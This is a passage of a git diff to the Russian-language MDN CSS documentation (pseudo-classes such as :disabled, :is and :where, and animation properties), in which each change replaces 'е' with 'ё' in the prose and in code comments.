href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:disabled</code> находит любой отключенный элемент. Элемент отключен, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включенное состояние, когда его можно активировать или сфокусировать.</p> +<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:disabled</code> находит любой отключённый элемент. Элемент отключён, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включённое состояние, когда его можно активировать или сфокусировать.</p> <h2 id="Примеры">Примеры</h2> @@ -17,9 +17,9 @@ translation_of: 'Web/CSS/:disabled' <dl> <dt>input:disabled</dt> - <dd>Выберет все отключенные поля ввода</dd> + <dd>Выберет все отключённые поля ввода</dd> <dt>select.country:disabled</dt> - <dd>Найдёт все отключенные <code>select</code> элементы с классом <code>country</code></dd> + <dd>Найдёт все отключённые <code>select</code> элементы с классом <code>country</code></dd> </dl> <h3 id="Пример_использования">Пример использования</h3> diff --git a/files/ru/web/css/_colon_enabled/index.html b/files/ru/web/css/_colon_enabled/index.html index 7e83a52a5d..99e4402da0 100644 --- a/files/ru/web/css/_colon_enabled/index.html +++ b/files/ru/web/css/_colon_enabled/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/:enabled' <h2 id="Описание">Описание</h2> -<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:enabled</code> находит любой включенный элемент. Элемент включен, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключенное состояние, когда его нельзя активировать или сфокусировать.</p> +<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:enabled</code> находит любой включённый элемент. Элемент включён, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключённое состояние, когда его нельзя активировать или сфокусировать.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/css/_colon_first-child/index.html b/files/ru/web/css/_colon_first-child/index.html index d31fc8acd2..927a3a5098 100644 --- a/files/ru/web/css/_colon_first-child/index.html +++ b/files/ru/web/css/_colon_first-child/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:first-child' <pre class="brush: css no-line-numbers">> /* Выбирает любой <p>, который является первым элементом - среди своих братьев и сестер */ + среди своих братьев и сестёр */ p:first-child { color: lime; }</pre> diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html index 3156d5c66e..a509c175d3 100644 --- a/files/ru/web/css/_colon_focus-visible/index.html +++ b/files/ru/web/css/_colon_focus-visible/index.html @@ -17,7 +17,7 @@ translation_of: 'Web/CSS/:focus-visible' <h3 id="Базовый_пример">Базовый пример</h3> -<p>В этом примере селектор <code>:focus-visible</code> использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щелкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью <code>:focus</code>.</p> +<p>В этом примере селектор <code>:focus-visible</code> использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щёлкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью <code>:focus</code>.</p> <pre class="brush: html notranslate"><input value="Default styles"><br> <button>Default styles</button><br> diff --git a/files/ru/web/css/_colon_focus/index.html b/files/ru/web/css/_colon_focus/index.html index 206b74a0e9..af809f7761 100644 --- a/files/ru/web/css/_colon_focus/index.html +++ b/files/ru/web/css/_colon_focus/index.html @@ -102,7 +102,7 @@ input:focus { <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("css.selectors.focus")}}</p> </div> diff --git a/files/ru/web/css/_colon_fullscreen/index.html b/files/ru/web/css/_colon_fullscreen/index.html index 5dc0c1afec..c527af137f 100644 --- a/files/ru/web/css/_colon_fullscreen/index.html +++ b/files/ru/web/css/_colon_fullscreen/index.html @@ -2,7 +2,7 @@ title: ':fullscreen' slug: 'Web/CSS/:fullscreen' tags: - - Верстка + - Вёрстка - полноэкранный режим - псевдокласс - экран @@ -36,7 +36,7 @@ translation_of: 'Web/CSS/:fullscreen' <button id="fs-toggle">Toggle Fullscreen</button></pre> -<p>{{HTMLElement("button")}} с ID <code>"fs-toggle"</code> будет изменятся между бледно-красный и бледно-зеленый в зависимости от того, находится ли документ в полноэкранном режиме.</p> +<p>{{HTMLElement("button")}} с ID <code>"fs-toggle"</code> будет изменятся между бледно-красный и бледно-зелёный в зависимости от того, находится ли документ в полноэкранном режиме.</p> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/css/_colon_indeterminate/index.html b/files/ru/web/css/_colon_indeterminate/index.html index d4cf598129..e601e36af1 100644 --- a/files/ru/web/css/_colon_indeterminate/index.html +++ b/files/ru/web/css/_colon_indeterminate/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:indeterminate' <p><a href="/ru/docs/Web/CSS">CSS</a><a href="/ru/docs/Web/CSS/Псевдо-классы"> псевдокласс</a> <strong><code>:indeterminate</code></strong> находит элементы в неопределённом состоянии.</p> -<pre class="brush: css no-line-numbers">/* Выбирает все элементы <input>, которые находятся в неопределенном состоянии */ +<pre class="brush: css no-line-numbers">/* Выбирает все элементы <input>, которые находятся в неопределённом состоянии */ input:indeterminate { background: lime; }</pre> @@ -32,7 +32,7 @@ input:indeterminate { <h3 id="Чекбокс_и_радио_переключатели">Чекбокс и радио переключатели</h3> -<p>В этом примере специальные стили применяются к меткам, которые привязаны к неопределенным полям формы.</p> +<p>В этом примере специальные стили применяются к меткам, которые привязаны к неопределённым полям формы.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html index cd8f1848d1..d365dfa795 100644 --- a/files/ru/web/css/_colon_is/index.html +++ b/files/ru/web/css/_colon_is/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:is' <p><strong><code>:is()</code></strong> это функция <a href="/ru/docs/Web/CSS">псевдокласс CSS</a> принимающая список селекторов как аргумент, и выбирает любой элемент, который может быть выбран одним из селекторов в этом списке. Это полезно при переписи огромных селекторов в более компактную форму.</p> -<p>Заметьте, что в данный момент браузеры поддерживают ее функционал как <code>:matches()</code>, или даже как более старый, префиксный псевдокласс — <code>:any()</code>, включая старые версии Chrome, Firefox, и Safari. <code>:any()</code> работает точно таким же образом как и <code>:matches()</code>/<code>:is()</code>, за исключением того, что <code>:any()</code> требует постановку префиксов и не поддерживает <a href="/ru/docs/Learn/CSS/Building_blocks/Селекторы">комплексные селекторы</a>.</p> +<p>Заметьте, что в данный момент браузеры поддерживают её функционал как <code>:matches()</code>, или даже как более старый, префиксный псевдокласс — <code>:any()</code>, включая старые версии Chrome, Firefox, и Safari. <code>:any()</code> работает точно таким же образом как и <code>:matches()</code>/<code>:is()</code>, за исключением того, что <code>:any()</code> требует постановку префиксов и не поддерживает <a href="/ru/docs/Learn/CSS/Building_blocks/Селекторы">комплексные селекторы</a>.</p> <pre class="brush: css no-line-numbers notranslate">/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */ :is(header, main, footer) p:hover { @@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:is' cursor: pointer; } -/* Пример приведенный выше эквивалентен следующему */ +/* Пример приведённый выше эквивалентен следующему */ header p:hover, main p:hover, footer p:hover { diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html index 88f406851d..8a9fcbb9b2 100644 --- a/files/ru/web/css/_colon_left/index.html +++ b/files/ru/web/css/_colon_left/index.html @@ -2,7 +2,7 @@ title: ':left' slug: 'Web/CSS/:left' tags: - - Верстка + - Вёрстка - Псевдоклассы translation_of: 'Web/CSS/:left' --- diff --git a/files/ru/web/css/_colon_target/index.html b/files/ru/web/css/_colon_target/index.html index 46d0f88746..d3f5c5a0ef 100644 --- a/files/ru/web/css/_colon_target/index.html +++ b/files/ru/web/css/_colon_target/index.html @@ -2,7 +2,7 @@ title: ':target' slug: 'Web/CSS/:target' tags: - - Верстка + - Вёрстка - Псевдоклассы translation_of: 'Web/CSS/:target' --- @@ -153,7 +153,7 @@ p:target i { cursor: pointer; } -/* Обертка lightbox */ +/* Обёртка lightbox */ .lightbox .close::before { left: 0; top: 0; diff --git a/files/ru/web/css/_colon_visited/index.html b/files/ru/web/css/_colon_visited/index.html index f4288a183b..c1b516e912 100644 --- a/files/ru/web/css/_colon_visited/index.html +++ b/files/ru/web/css/_colon_visited/index.html @@ -12,9 +12,9 @@ translation_of: 'Web/CSS/:visited' <p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:visited</code> позволяет вам выбирать ссылки, которые были посещены. Этот стиль может переопределяться другими относящимися к ссылкам псевдоклассами, такими как {{ cssxref(":link") }}, {{ cssxref(":hover") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило <code>:visited</code> до правила <code>:link</code>, но после других, определённых <em>LVHA-порядком</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p> <div class="note style-wrap"> -<p><strong>Замечание: </strong>Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, <code>fill</code> и <code>stroke</code>. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвященных ссылок вместо него (но если прозрачность - <code>0</code>, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвященных ссылок).</p> +<p><strong>Замечание: </strong>Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, <code>fill</code> и <code>stroke</code>. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвящённых ссылок вместо него (но если прозрачность - <code>0</code>, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвящённых ссылок).</p> -<p>Несмотря на то, что цвет может меняться, метод <code>getComputedStyle</code> наврёт и всегда будет давать значение цвета непосвященных ссылок.</p> +<p>Несмотря на то, что цвет может меняться, метод <code>getComputedStyle</code> наврёт и всегда будет давать значение цвета непосвящённых ссылок.</p> <p>Для дополнительной информации об ограничениях и их причин, смотрите <a href="/ru/docs/CSS/Privacy_and_the_:visited_selector" title="/ru/docs/CSS/Privacy_and_the_:visited_selector">Приватность и селектор :visited</a>.</p> </div> diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html index 3eb34a7c0e..5a7b922577 100644 --- a/files/ru/web/css/_colon_where/index.html +++ b/files/ru/web/css/_colon_where/index.html @@ -14,13 +14,13 @@ translation_of: 'Web/CSS/:where' <div></div> <pre class="brush: css notranslate"><code>/* Выбирает любой параграф внутри header, main - или footer на который наведен курсор мыши */ + или footer на который наведён курсор мыши */ :where(header, main, footer) p:hover { color: red; cursor: pointer; } -/* Пример приведенный выше эквивалентен следующему */ +/* Пример приведённый выше эквивалентен следующему */ header p:hover, main p:hover, footer p:hover { @@ -54,7 +54,7 @@ footer p:hover { <p>В этом примере показывается как работает <code>:where()</code>, а так же демонстрируется разница между <code>:where()</code> и <code>:is()</code>.</p> -<p>Возьмем следующий HTML-код:</p> +<p>Возьмём следующий HTML-код:</p> <pre class="brush: html notranslate"><article> <h2>:is()-styled links</h2> @@ -109,7 +109,7 @@ footer p:hover { color: blue; }</pre> -<p>Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри <code>:is()</code> выше, чем специфичность селектора вышеприведенного кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.</p> +<p>Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри <code>:is()</code> выше, чем специфичность селектора вышеприведённого кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.</p> <p>В то время как, селекторы перечисленные внутри <code>:where()</code> имеют нулевую специфичность, поэтому оранжевая ссылка в футере будет переопределена простым селектором и станет синего цвета.</p> diff --git a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html index 635676abae..a23502ee59 100644 --- a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html +++ b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html @@ -18,7 +18,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar' <h3 id="HTML">HTML</h3> <pre class="brush:html;"><progress value="30" max="100">30%</progress> -<progress max="100">Неопределенный бар прогресса</progress></pre> +<progress max="100">Неопределённый бар прогресса</progress></pre> <h3 id="CSS">CSS</h3> @@ -26,7 +26,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar' background-color: red; } -/* Задает неопределенным барам нулевую ширину */ +/* Задаёт неопределённым барам нулевую ширину */ :indeterminate::-moz-progress-bar { width: 0; }</pre> diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html index d0663700f2..34e36b8578 100644 --- a/files/ru/web/css/_doublecolon_slotted/index.html +++ b/files/ru/web/css/_doublecolon_slotted/index.html @@ -5,16 +5,16 @@ translation_of: 'Web/CSS/::slotted' --- <div>{{ CSSRef }}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемент</a> <strong><code>::slotted()</code></strong> представляет собой любой элемент, помещенный в слот внутри HTML-шаблона (дополнительная информация в <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>).</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемент</a> <strong><code>::slotted()</code></strong> представляет собой любой элемент, помещённый в слот внутри HTML-шаблона (дополнительная информация в <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>).</p> -<p>Это работает только при использовании внутри CSS, помещенного в <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещенный в слот; он нацелен только на фактические элементы.</p> +<p>Это работает только при использовании внутри CSS, помещённого в <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещённый в слот; он нацелен только на фактические элементы.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает любой элемент, помещенный в слот */ +<pre class="brush: css no-line-numbers notranslate">/* Выбирает любой элемент, помещённый в слот */ ::slotted(*) { font-weight: bold; } -/* Выбирает только <span>, помещенный в слот */ +/* Выбирает только <span>, помещённый в слот */ ::slotted(span) { font-weight: bold; } @@ -64,7 +64,7 @@ translation_of: 'Web/CSS/::slotted' } })</pre> -<p>Вы увидите, что при заполнении элемента <code>style</code> содержимым мы выбираем все slotted-элементы (<code>::slotted(*)</code>) и задаем им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые еще не были успешно заполнены.</p> +<p>Вы увидите, что при заполнении элемента <code>style</code> содержимым мы выбираем все slotted-элементы (<code>::slotted(*)</code>) и задаём им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые ещё не были успешно заполнены.</p> <p>Элемент выглядит следующим образом при вставке на страницу:</p> diff --git a/files/ru/web/css/adjacent_sibling_combinator/index.html b/files/ru/web/css/adjacent_sibling_combinator/index.html index 42893ac5e3..d5762bba46 100644 --- a/files/ru/web/css/adjacent_sibling_combinator/index.html +++ b/files/ru/web/css/adjacent_sibling_combinator/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator --- <p>{{CSSRef("Selectors")}}</p> -<p>Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определенным в первой части элементом.</p> +<p>Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определённым в первой части элементом.</p> <h2 id="Синтакс">Синтакс</h2> @@ -29,7 +29,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator <p>{{EmbedLiveSample('Example_1', 200, 100)}}</p> -<p>Так же может использоваться для задания стиля определенного класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:</p> +<p>Так же может использоваться для задания стиля определённого класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:</p> <pre class="brush: css">img + span.caption { font-style: italic; diff --git a/files/ru/web/css/align-items/index.html b/files/ru/web/css/align-items/index.html index 9d5a7f5843..705ea1dea0 100644 --- a/files/ru/web/css/align-items/index.html +++ b/files/ru/web/css/align-items/index.html @@ -42,10 +42,10 @@ align-items: unset; <dt><code>normal</code></dt> <dd>Эффект этого ключевого слова зависит от режима макета, в котором мы находимся:: <ul> - <li>В абсолютно позиционированных макетах ключевое слово ведет себя как <code>start</code> в <em>замененных</em> абсолютно позиционированных блоках, и как <code>stretch</code> во <em>всех других</em> абсолютно позиционированных блоках.</li> - <li>В статическом положении абсолютно позиционированных макетов ключевое слово ведет себя как <code>stretch</code>.</li> - <li>Для гибких элементов ключевое слово ведет себя как <code>stretch</code>.</li> - <li>Для элементов сетки это ключевое слово ведет к поведению, аналогичному <code>stretch</code>, за исключением полей с соотношением сторон или внутренних размеров, где оно ведет себя как <code>start</code>.</li> + <li>В абсолютно позиционированных макетах ключевое слово ведёт себя как <code>start</code> в <em>заменённых</em> абсолютно позиционированных блоках, и как <code>stretch</code> во <em>всех других</em> абсолютно позиционированных блоках.</li> + <li>В статическом положении абсолютно позиционированных макетов ключевое слово ведёт себя как <code>stretch</code>.</li> + <li>Для гибких элементов ключевое слово ведёт себя как <code>stretch</code>.</li> + <li>Для элементов сетки это ключевое слово ведёт к поведению, аналогичному <code>stretch</code>, за исключением полей с соотношением сторон или внутренних размеров, где оно ведёт себя как <code>start</code>.</li> <li>Это свойство не применяется к блокам уровня блока и к ячейкам таблицы.</li> </ul> </dd> diff --git a/files/ru/web/css/all/index.html b/files/ru/web/css/all/index.html index 632ac959d2..1510ac6c3b 100644 --- a/files/ru/web/css/all/index.html +++ b/files/ru/web/css/all/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/all <h2 id="Описание">Описание</h2> -<p>Сокращенное свойство CSS<em> </em><code><strong>all</strong></code> сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.</p> +<p>Сокращённое свойство CSS<em> </em><code><strong>all</strong></code> сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.</p> <p>{{cssinfo}}</p> @@ -78,7 +78,7 @@ blockquote { blockquote { background-color: skyblue; color: red; }</pre> {{EmbedLiveSample("ex0", "200", "125")}} -<p>{{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определенным фоном и цветом текста. Он также ведет себя как <em>block </em>элемент<em> </em>: текст, который следует за ним, находится под ним.</p> +<p>{{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определённым фоном и цветом текста. Он также ведёт себя как <em>block </em>элемент<em> </em>: текст, который следует за ним, находится под ним.</p> </div> <div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;"> diff --git a/files/ru/web/css/angle/index.html b/files/ru/web/css/angle/index.html index 782c6c4fe5..c4a228aca3 100644 --- a/files/ru/web/css/angle/index.html +++ b/files/ru/web/css/angle/index.html @@ -46,7 +46,7 @@ translation_of: Web/CSS/angle </tr> <tr> <td><img alt="Angle180.png" class="default internal" src="/@api/deki/files/5706/=Angle180.png"></td> - <td>Развернутый угол: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">≈</code><code> 3.1416rad</code></td> + <td>Развёрнутый угол: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">≈</code><code> 3.1416rad</code></td> </tr> <tr> <td><img alt="AngleMinus90.png" class="default internal" src="/@api/deki/files/5707/=AngleMinus90.png"></td> diff --git a/files/ru/web/css/animation-delay/index.html b/files/ru/web/css/animation-delay/index.html index 55e5c537eb..48c0109f18 100644 --- a/files/ru/web/css/animation-delay/index.html +++ b/files/ru/web/css/animation-delay/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-delay <p>Значение 0s, которое является значением по умолчанию, указывает на то, что анимация должна начаться непременно. В противном случае, старт анимации будет отложен на указанное время.</p> -<p>При указании отрицательного значения, анимация также начнется непременно, но ее воспроизведение начнется не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.</p> +<p>При указании отрицательного значения, анимация также начнётся непременно, но её воспроизведение начнётся не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/animation-direction/index.html b/files/ru/web/css/animation-direction/index.html index 52d0de3720..f07376ed79 100644 --- a/files/ru/web/css/animation-direction/index.html +++ b/files/ru/web/css/animation-direction/index.html @@ -7,9 +7,9 @@ translation_of: Web/CSS/animation-direction <h2 id="Описание">Описание</h2> -<p>CSS-свойство <strong><code>animation-direction</code></strong> определяет, должна ли анимация воспроизводиться вперед, назад или переменно вперед и назад.<br> +<p>CSS-свойство <strong><code>animation-direction</code></strong> определяет, должна ли анимация воспроизводиться вперёд, назад или переменно вперёд и назад.<br> <br> - <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Также удобно использовать сокращенное свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.</span></p> + <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Также удобно использовать сокращённое свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.</span></p> <p>{{cssinfo}}</p> @@ -35,7 +35,7 @@ animation-direction: unset; <dl> <dt><code>normal</code></dt> - <dd>Анимация проигрывается вперед каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в <em>начальное </em>положение и снова проигрывается. Это значение по умолчанию.</dd> + <dd>Анимация проигрывается вперёд каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в <em>начальное </em>положение и снова проигрывается. Это значение по умолчанию.</dd> <dt><code>reverse</code></dt> <dd>Анимация проигрывается наоборот, с <em>последнего </em>положения до первого и потом снова сбрасывается в <em>конечное </em>положение и снова проигрывается.</dd> <dt><code>alternate</code></dt> diff --git a/files/ru/web/css/animation-duration/index.html b/files/ru/web/css/animation-duration/index.html index 7ca194463f..65e47aea2b 100644 --- a/files/ru/web/css/animation-duration/index.html +++ b/files/ru/web/css/animation-duration/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-duration <p>Значение по умолчанию <strong><code>0s</code> </strong>определяет, что анимация не должна выполняться.</p> -<p>Удобно использовать сокращенное свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.</p> +<p>Удобно использовать сокращённое свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/animation-fill-mode/index.html b/files/ru/web/css/animation-fill-mode/index.html index 2549e3ac2d..855d8dad42 100644 --- a/files/ru/web/css/animation-fill-mode/index.html +++ b/files/ru/web/css/animation-fill-mode/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/animation-fill-mode <h2 id="Описание">Описание</h2> -<p><a href="/en/CSS" title="CSS">CSS</a> свойство <strong><code>animation-fill-mode</code></strong> определяет, как нужно применять стили к объекту анимации до и после ее выполнения.</p> +<p><a href="/en/CSS" title="CSS">CSS</a> свойство <strong><code>animation-fill-mode</code></strong> определяет, как нужно применять стили к объекту анимации до и после её выполнения.</p> <p>{{cssinfo}}</p> @@ -32,7 +32,7 @@ animation-fill-mode: both, forwards, none; <dl> <dt><code>none</code></dt> - <dd>Стили анимации не будут применены к элементу до и после ее выполнения.</dd> + <dd>Стили анимации не будут применены к элементу до и после её выполнения.</dd> <dt><code>forwards</code></dt> <dd>По окончании анимации элемент сохранит стили последнего ключевого кадра, который определяется значениями {{cssxref("animation-direction")}} и {{cssxref("animation-iteration-count")}}: <table class="standard-table"> @@ -56,22 +56,22 @@ animation-fill-mode: both, forwards, none; </tr> <tr> <td><code>alternate</code></td> - <td>четное</td> + <td>чётное</td> <td><code>0%</code> или <code>from</code></td> </tr> <tr> <td><code>alternate</code></td> - <td>нечетное</td> + <td>нечётное</td> <td><code>100%</code> или <code>to</code></td> </tr> <tr> <td><code>alternate-reverse</code></td> - <td>четное</td> + <td>чётное</td> <td><code>100%</code> или <code>to</code></td> </tr> <tr> <td><code>alternate-reverse</code></td> - <td>нечетное</td> + <td>нечётное</td> <td><code>0%</code> или <code>from</code></td> </tr> </tbody> @@ -114,8 +114,8 @@ animation-fill-mode: both, forwards, none; <pre class="brush: html"><p>Наведите курсор мыши на серый блок</p> <div class="demo"> - <div class="grows">Этот просто растет</div> - <div class="growsandstays">Этот растет и остается большим</div> + <div class="grows">Этот просто растёт</div> + <div class="growsandstays">Этот растёт и остаётся большим</div> </div></pre> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/css/animation-iteration-count/index.html b/files/ru/web/css/animation-iteration-count/index.html index 653e843e65..9039dcfedb 100644 --- a/files/ru/web/css/animation-iteration-count/index.html +++ b/files/ru/web/css/animation-iteration-count/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-iteration-count <p><a href="/ru/CSS" title="CSS">CSS</a><code><font face="Open Sans, Arial, sans-serif"> свойство </font><strong>animation-iteration-count</strong></code> определяет сколько раз будет проигрываться анимационный цикл, перед тем как остановиться.</p> -<p>Наиболее удобно использовать это свойство в сокращенном варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.</p> +<p>Наиболее удобно использовать это свойство в сокращённом варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.</p> <p>{{cssinfo}}</p> @@ -36,7 +36,7 @@ animation-iteration-count: 2, 0, infinite; <dt><code>infinite</code></dt> <dd>Анимация повторяется бесконечно.</dd> <dt><code><number></code></dt> - <dd>Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведет половину анимационного цикла).</dd> + <dd>Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведёт половину анимационного цикла).</dd> </dl> <h3 id="Правила_синтаксиса">Правила синтаксиса</h3> diff --git a/files/ru/web/css/animation-name/index.html b/files/ru/web/css/animation-name/index.html index 2e6ff16b28..a81e2e82d6 100644 --- a/files/ru/web/css/animation-name/index.html +++ b/files/ru/web/css/animation-name/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-name -<p>Часто удобно использовать сокращенное свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.</p> +<p>Часто удобно использовать сокращённое свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -40,7 +40,7 @@ animation-name: <a href="/en-US/docs/Web/CSS/unset">unset</a> <dt><code>none</code></dt> <dd>Это специальное ключевое слово, обозначающее отсутствие ключевых кадров. Оно может быть использовано для отключения анимации без изменения порядка других идентификаторов, или для отключения анимации, поступающей из каскада.</dd> <dt>{{cssxref("custom-ident","<custom-ident>")}}</dt> - <dd>Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учета регистра от <code>a</code> до <code>z</code>, цифр от <code>0</code> до <code>9</code>, подчеркивания (<code>_</code>), и/или черты (<code>-</code>). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть <code>none</code>, <code>unset</code>, <code>initial</code>, или <code>inherit</code> в любой комбинации случаев.</dd> + <dd>Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учёта регистра от <code>a</code> до <code>z</code>, цифр от <code>0</code> до <code>9</code>, подчёркивания (<code>_</code>), и/или черты (<code>-</code>). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть <code>none</code>, <code>unset</code>, <code>initial</code>, или <code>inherit</code> в любой комбинации случаев.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/animation-play-state/index.html b/files/ru/web/css/animation-play-state/index.html index 293765d1e9..fc92ee5605 100644 --- 